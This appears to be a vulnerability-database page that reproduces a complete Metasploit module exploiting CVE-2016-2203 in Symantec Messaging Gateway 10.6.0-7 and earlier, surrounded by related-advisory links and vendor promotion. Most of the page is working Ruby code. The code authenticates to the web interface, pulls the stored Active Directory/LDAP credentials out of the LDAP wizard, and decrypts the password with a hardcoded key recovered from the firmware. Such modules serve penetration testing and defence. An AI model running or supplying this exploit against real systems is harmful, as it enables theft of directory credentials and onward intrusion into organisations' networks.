Lucene search
+L

Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability

🗓️ 17 Dec 2015 00:00:00Reported by Fakhir Karim Reda <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 38 Views

Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability. Grab AD account saved in Symantec Messaging Gateway, decipher using Symantec PBE key, authentication required to grab LDAP credentials, affecting version 10.6.0-7 and earlier

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Symantec Brightmail 10.6.0-7 - LDAP Credentials Disclosure (Metasploit)
21 Apr 201600:00
zdt
circl
Circl
CVE-2016-2203
29 May 201815:50
circl
cnvd
CNVD
Symantec Messaging Gateway Stored AD Password Vulnerability
19 Apr 201600:00
cnvd
cve
CVE
CVE-2016-2203
22 Apr 201618:00
cve
cvelist
Cvelist
CVE-2016-2203
22 Apr 201618:00
cvelist
exploitdb
Exploit DB
Symantec Brightmail 10.6.0-7 - LDAP Credentials Disclosure (Metasploit)
21 Apr 201600:00
exploitdb
exploitpack
exploitpack
Symantec Brightmail 10.6.0-7 - LDAP Credentials Disclosure (Metasploit)
21 Apr 201600:00
exploitpack
nvd
NVD
CVE-2016-2203
22 Apr 201618:59
nvd
openvas
OpenVAS
Symantec Messaging Gateway Multiple Vulnerabilities (SYM16-005)
22 Apr 201600:00
openvas
osv
OSV
CVE-2016-2203
22 Apr 201618:59
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest'
require "openssl"

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability',
        'Description' => %q{
          This module will grab the AD account saved in Symantec Messaging Gateway and then
          decipher it using the disclosed Symantec PBE key.  Note that authentication is required
          in order to successfully grab the LDAP credentials, and you need at least a read account.
          Version 10.6.0-7 and earlier are affected
        },
        'References' => [
          ['URL', 'https://www.broadcom.com/support/security-center/securityupdates/detail?fid=security_advisory&pvid=security_advisory&suid=20160418_00&year='],
          ['CVE', '2016-2203'],
          ['BID', '86137']
        ],
        'Author' => [
          'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'SSLVersion' => 'TLS1',
          'RPORT' => 443
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2015-12-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with']),
        OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
      ]
    )
  end

  def print_status(msg = '')
    super(rhost ? "#{peer} - #{msg}" : msg)
  end

  def print_good(msg = '')
    super("#{peer} - #{msg}")
  end

  def print_error(msg = '')
    super("#{peer} - #{msg}")
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'LDAP',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)
    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def auth(username, password, sid, last_login)
    sid2 = ''

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
      'headers' => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin' => last_login,
        'userLocale' => '',
        'lang' => 'en_US',
        'username' => username,
        'password' => password,
        'loginBtn' => 'Login'
      }
    })

    if res && res.body =~ /Logged in/
      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
      return sid2
    end

    nil
  end

  def get_login_data
    sid = '' # From cookie
    last_login = '' # A hidden field in the login page

    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
    })

    if res
      last_login = res.get_hidden_inputs.first['lastlogin'] || ''

      unless res.get_cookies.empty?
        sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
      end
    end

    return sid, last_login
  end

  # Returns the status of the listening port.
  #
  # @return [Boolean] TrueClass if port open, otherwise FalseClass.
  def port_open?
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path)
      })

      return true if res
    rescue ::Rex::ConnectionRefused
      print_status("Connection refused")
    rescue ::Rex::ConnectionError
      print_error("Connection failed")
    rescue ::OpenSSL::SSL::SSLError
      print_error("SSL/TLS connection error")
    end

    false
  end

  # Returns the derived key from the password, the salt and the iteration count number.
  #
  # @return Array of byte containing the derived key.
  def get_derived_key(password, salt, count)
    key = password + salt

    for i in 0..count - 1
      key = Digest::MD5.digest(key)
    end

    kl = key.length

    return key[0, 8], key[8, kl]
  end

  # Returns the decoded Base64 data in RFC-4648 implementation.
  # The Rex implementation decoding Base64 is by using unpack("m").
  # By default, the "m" directive uses RFC-2045, but if followed by 0,
  # it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses.
  def strict_decode64(str)
    "#{Rex::Text.decode_base64(str)}0"
  end

  # @Return the deciphered password
  # Algorithm obtained by reversing the firmware
  def decrypt(enc_str)
    pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
    salt = strict_decode64(enc_str[0, 12])
    remsg = strict_decode64(enc_str[12, enc_str.length])
    (dk, iv) = get_derived_key(pbe_key, salt, 1000)
    alg = 'des-cbc'

    decode_cipher = OpenSSL::Cipher.new(alg)
    decode_cipher.decrypt
    decode_cipher.padding = 0
    decode_cipher.key = dk
    decode_cipher.iv = iv
    plain = decode_cipher.update(remsg)
    plain << decode_cipher.final

    plain.gsub(/[\x01-\x08]/, '')
  end

  def grab_auths(sid, last_login)
    token = '' # from hidden input
    selected_ldap = '' # from checkbox input
    new_uri = '' # redirection
    flow_id = '' # id of the flow
    folder = '' # symantec folder

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'),
      'headers' => {
        'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
        'Connection' => 'keep-alive'
      },
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.')
    end

    token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || ''

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'),
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
      'vars_post' =>
        {
          'flowId' => '0',
          'userLocale' => '',
          'lang' => 'en_US',
          'symantec.brightmail.key.TOKEN' => "#{token}"
        },
      'headers' =>
        {
          'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
          'Connection' => 'keep-alive'
        }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.')
    end

    if res.headers['Location']
      mlocation = res.headers['Location']
      new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
      flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
      folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "#{folder}",
      'headers' => {
        'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
        'Connection' => 'keep-alive'
      },
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
      'vars_get' => {
        'flowId' => "#{flow_id}",
        'userLocale' => '',
        'lang' => 'en_US'
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.')
    end

    if res.code == 200
      login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
      password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
      host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
      port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
      password = decrypt(password)
      print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
      report_cred(ip: host, port: port, user: login, password: password, proof: res.code.to_s)
    end
  end

  def run_host(ip)
    unless port_open?
      print_status("Port is not open.")
    end

    sid, last_login = get_login_data

    if sid.empty? || last_login.empty?
      print_error("Missing required login data.  Cannot continue.")
      return
    end

    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    sid = auth(username, password, sid, last_login)

    if sid
      print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
      grab_auths(sid, last_login)
    else
      print_error("Unable to login.  Cannot continue.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation